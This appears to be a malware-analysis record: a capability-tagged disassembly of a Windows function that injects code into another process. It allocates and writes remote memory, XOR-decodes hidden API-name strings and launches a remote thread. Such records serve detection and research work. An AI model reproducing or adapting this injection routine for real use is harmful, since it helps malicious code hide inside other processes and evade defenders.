Function at 0x180002400
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x90
movaps xmmword [rax - 0x18], xmm6
mov rsi, rdx
movaps xmmword [rax - 0x28], xmm7
xor edx, edx
mov r9d, 0x3000
movaps xmmword [rax - 0x38], xmm8
mov r8d, 0x104
mov dword [rax - 0x78], 4
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x180002452
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9, 0xffffffffffffffff
nop dword [rax]
inc r9
cmp byte [rsi + r9], 0
jne 0x180002460
inc r9
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800024a7
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [0x18002f63c]
xor r8d, r8d
movsd xmm0, qword [str._RPy_UJXHB]
mov r10d, dword [0x1800350d0]
mov ecx, dword [0x18002f638]
movdqa xmm6, xmmword [0x18002f6e0]
movdqa xmm2, xmmword [0x18002f6a0]
movdqa xmm3, xmmword [0x18002f690]
movdqa xmm4, xmmword [0x18002f680]
movdqa xmm8, xmmword [0x18002f6f0]
movdqa xmm7, xmmword [str.::::]
movdqa xmm5, xmmword [0x18002f700]
mov byte [rsp + 0x4c], al
mov dword [rsp + 0x48], ecx
movsd qword [rsp + 0x40], xmm0
cmp r10d, 2
jl 0x18000263d
movdqa xmm1, xmm4
movdqa xmm0, xmm4
punpckldq xmm1, xmm4
mov r8d, recv
pmuldq xmm1, xmm5
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm4
pmulld xmm0, xmm7
psubd xmm1, xmm0
movd xmm0, dword [str._RPy_UJXHB]
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movdqa xmm0, xmm3
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmm7
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x44]
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [rsp + 0x44], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm7
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180002650
movsd xmm0, qword [str.ZWAZPZ]
xor ecx, ecx
movzx eax, byte [0x18002f5b4]
mov edx, dword [0x18002f5b0]
movsd qword [rsp + 0x4d], xmm0
mov dword [rsp + 0x55], edx
mov byte [rsp + 0x59], al
cmp r10d, 2
jl 0x1800027da
movdqa xmm1, xmm4
movd eax, xmm8
punpckldq xmm1, xmm4
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
mov ecx, recv
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmm7
psubd xmm4, xmm0
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
movd xmm0, eax
paddb xmm4, xmm0
movd xmm0, dword [str.ZWAZPZ]
xorps xmm4, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
movd dword [rsp + 0x4d], xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x51]
pmulld xmm0, xmm7
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movd dword [rsp + 0x51], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x55], xmm2
mov eax, ecx
lea r8, [rsp + 0x4d]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x1800027f0
lea rcx, [rsp + 0x4d]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x18000285e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov r9, rsi
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x1800028ab
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rdi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]